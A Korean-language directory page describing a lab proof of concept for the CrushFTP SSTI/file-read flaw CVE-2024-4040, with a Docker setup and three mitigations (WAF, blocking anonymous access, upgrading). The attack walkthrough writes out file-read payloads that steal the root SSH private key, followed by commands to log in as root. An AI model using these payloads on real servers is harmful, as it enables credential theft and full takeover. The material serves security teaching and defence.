Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CrushFTP-SSTI-LFI-Proof-of-Concept — CVE-2024-4040(CrushFTP SSTI -> 인증되지 않은 LFI)에 대한 개념 증명 - 통제된 CS443 랩 환경에서 - 교육/승인된 용도로만 사용하십시오. | Kitploit
도구/GitHubGitHub/cthhhhhh/crushftp-ssti-lfi-proof-of-concept
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubcthhhhhh/crushftp-ssti-lfi-proof-of-concept

CrushFTP-SSTI-LFI-Proof-of-Concept

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-4040(CrushFTP SSTI -> 인증되지 않은 LFI)에 대한 개념 증명 - 통제된 CS443 랩 환경에서 - 교육/승인된 용도로만 사용하십시오.

저장소 보기
3개월 전아직 검토되지 않음

CVE-2024-4040 — CrushFTP SSTI / LFI 개념 증명

교육 및 공인된 실습실 사용 전용입니다.
CS443 소프트웨어 및 시스템 보안 — 통제된 로컬 Docker 환경.


취약점 요약

필드세부 정보
CVECVE-2024-4040
영향받는 소프트웨어CrushFTP < 10.7.1 (v10 브랜치) / < 11.1.0 (v11 브랜치)
취약점 유형서버 측 템플릿 주입(SSTI) → 인증되지 않은 로컬 파일 읽기
CVSS 점수9.8 치명적
영향인증되지 않은 공격자가 서버 파일시스템에서 임의의 파일을 읽을 수 있습니다.

CrushFTP의 WebInterface는 zip 명령의 path 매개변수에 있는 템플릿 표현식을 검증 없이 평가합니다. 인증되지 않은 공격자는 익명 세션 쿠키를 획득한 다음 해당 쿠키를 사용하여 서버가 평가하고 반환하는 템플릿 페이로드({working_dir}, <INCLUDE>…</INCLUDE>)를 전달할 수 있으며, 이를 통해 호스트 전체에서 임의의 파일 읽기가 가능합니다.


실습 환경


사전 요구 사항

root@kitploit:~
pip install requests rich

스크립트

스크립트소스용도
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoC전체 SSTI/LFI 익스플로잇 — 세션 탈취, 임의 파일 읽기
recon.py이 저장소버전 탐지, 실시간 SSTI 프로브, 취약점 확인

개념 증명 실습

1단계 — 실습 시작

root@kitploit:~
docker-compose up -d

스크립트를 실행하기 전에 CrushFTP가 완전히 초기화될 때까지 약 10초를 기다리십시오. 여기서는 별도의 정찰 단계가 필요하지 않습니다. crushed.py가 실행 중에 익스플로잇 가능 여부를 이미 확인하기 때문입니다.


2단계 — LFI를 통한 SSH 개인 키 탈취

root@kitploit:~
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

스크립트는 다음을 수행합니다:

  1. /WebInterface/에서 익명 CrushAuth / currentAuth 세션을 획득합니다.
  2. SSTI를 사용하여 템플릿 평가를 확인하고 서버 호스트 이름을 유출합니다.
  3. {working_dir}를 사용하여 CrushFTP 설치 디렉터리를 확인합니다.
  4. <INCLUDE>/root/.ssh/id_rsa</INCLUDE>를 사용하여 대상 파일을 읽습니다.
  5. 원시 파일 내용을 stdout으로 출력합니다.

출력에서 개인 키 블록을 복사하십시오(-----BEGIN OPENSSH PRIVATE KEY-----부터 -----END OPENSSH PRIVATE KEY-----까지의 모든 내용).


3단계 — 탈취한 키 저장

root@kitploit:~
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

4단계 — 루트로 컨테이너에 SSH 접속

root@kitploit:~
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

5단계 — 루트 액세스 확인

root@kitploit:~
whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

공격 체인 다이어그램

root@kitploit:~
Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

crushed.py의 알려진 주요 문제점


완화 전략

완화 1 — 웹 애플리케이션 방화벽(NGINX + ModSecurity)

개요

WAF는 CrushFTP에 도달하기 전에 들어오는 HTTP/S 트래픽을 검사하는 리버스 프록시 역할을 합니다. NGINX와 ModSecurity를 사용하면 CVE-2024-4040을 악용하는 악성 요청이 CrushFTP 자체를 수정하지 않고도 네트워크 경계에서 차단됩니다.

CVE-2024-4040 완화 방법

  • 요청 URI와 쿠키에서 경로 탐색 패턴(예: ../, %2e%2e)을 차단합니다.
  • 인증되지 않은 VFS 이스케이프 요청이 CrushFTP에 도달하지 못하게 방지합니다.
  • 애플리케이션에 도달하기 전에 의심스러운 페이로드를 기록하고 거부합니다.

Docker 설정

Mitigation 1/docker-compose.yaml을 사용하십시오:

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX 구성

Mitigation 1/nginx.conf를 사용하십시오:

root@kitploit:~
worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

트래픽 흐름

root@kitploit:~
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

제한 사항

  • 근본 원인을 패치하지 않음 - WAF가 우회되면 CrushFTP는 여전히 취약합니다.
  • 공격자가 난독화 기술을 개발함에 따라 규칙 업데이트가 필요합니다.

완화 2 — 익명 사용자 액세스 비활성화

개요

CVE-2024-4040은 인증 없이 악용 가능합니다. 이 실습에서는 민감한 경로를 CrushFTP로 프록시하기 전에 Authorization 헤더를 요구하여 NGINX 계층에서 익명 유형의 액세스를 차단합니다.

CVE-2024-4040 완화 방법

  • crushed.py와 같은 익스플로잇 스크립트는 인증되지 않은 액세스에 의존합니다. 자격 증명이 없는 요청은 401로 거부됩니다.
  • 인증 데이터가 없으면 /WebInterface/ 및 /에 대한 요청이 거부됩니다.
  • 취약한 엔드포인트가 인증되지 않은 사용자에게 노출되는 것을 줄입니다.

Docker 설정 (Mitigation 2/docker-compose.yaml에서 정확히 가져옴)

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

NGINX 정책 (Mitigation 2/nginx.conf에서 정확히 가져옴)

root@kitploit:~
events {}
http {
  server {
    listen 80;

    # Allow static assets unauthenticated
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Block unauthenticated access to WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Block everything else unauthenticated
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

Docker로 확인

root@kitploit:~
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized

# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

제한 사항

  • 근본적인 취약점을 패치하지 않습니다. 익스플로잇 로직이 변형되면 인증된 사용자도 여전히 위험할 수 있습니다.
  • 적용은 프록시 배치와 CrushFTP 앞에서의 올바른 헤더 처리에 달려 있습니다.

완화 3 — CrushFTP 버전 11로 업데이트

개요

CrushFTP 11로 업그레이드하는 것이 가장 효과적이고 영구적인 수정입니다. 이 패치는 VFS 경로 확인에 대한 엄격한 입력 검증을 추가하여 CVE-2024-4040의 근본 원인을 제거합니다.

CVE-2024-4040 완화 방법

  • VFS 경로에 대한 엄격한 샌드박싱을 적용합니다 - 이스케이프 시도는 애플리케이션 수준에서 거부됩니다.
  • crushed.py와 같은 익스플로잇 스크립트는 버전 11에서 더 이상 작동하지 않습니다.
  • 수정 사항은 소스 코드 수준에서 적용되며 외부 제어로 가려지지 않습니다.

구현

Dockerfile을 CrushFTP 11을 사용하도록 업데이트하십시오:

root@kitploit:~
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

컨테이너를 다시 빌드하십시오:

root@kitploit:~
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

패치 작동 확인

root@kitploit:~
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080

# Expected: exploit returns no output or connection error
도구 다운로드
구성 요소값
대상http://localhost:8080
기본 PoC CrushFTP 버전10.3.0 (의도적으로 취약한 버전)
완화 3 테스트 환경CrushFTP 11.x(패치된 브랜치)를 실행하는 별도 컨테이너
SSH 포트(컨테이너)2222 → 22
관리자 자격 증명admin / admin
컨테이너 런타임Docker (Compose)
문제위치세부 사항
누락된 종속성6–9행실행 전 pip install rich 필요
취약한 XML 파싱86, 140행비XML 서버 응답에서 충돌; ParseError 처리 없음
토큰 정규식이 너무 엄격함160–161행CrushAuth=…; currentAuth=… 패턴이 모든 sessions.obj 형식과 일치하지 않을 수 있음
HTTP 404 전용53행쿠키 획득이 404에서만 성공; 다른 상태 코드에서는 조용히 통과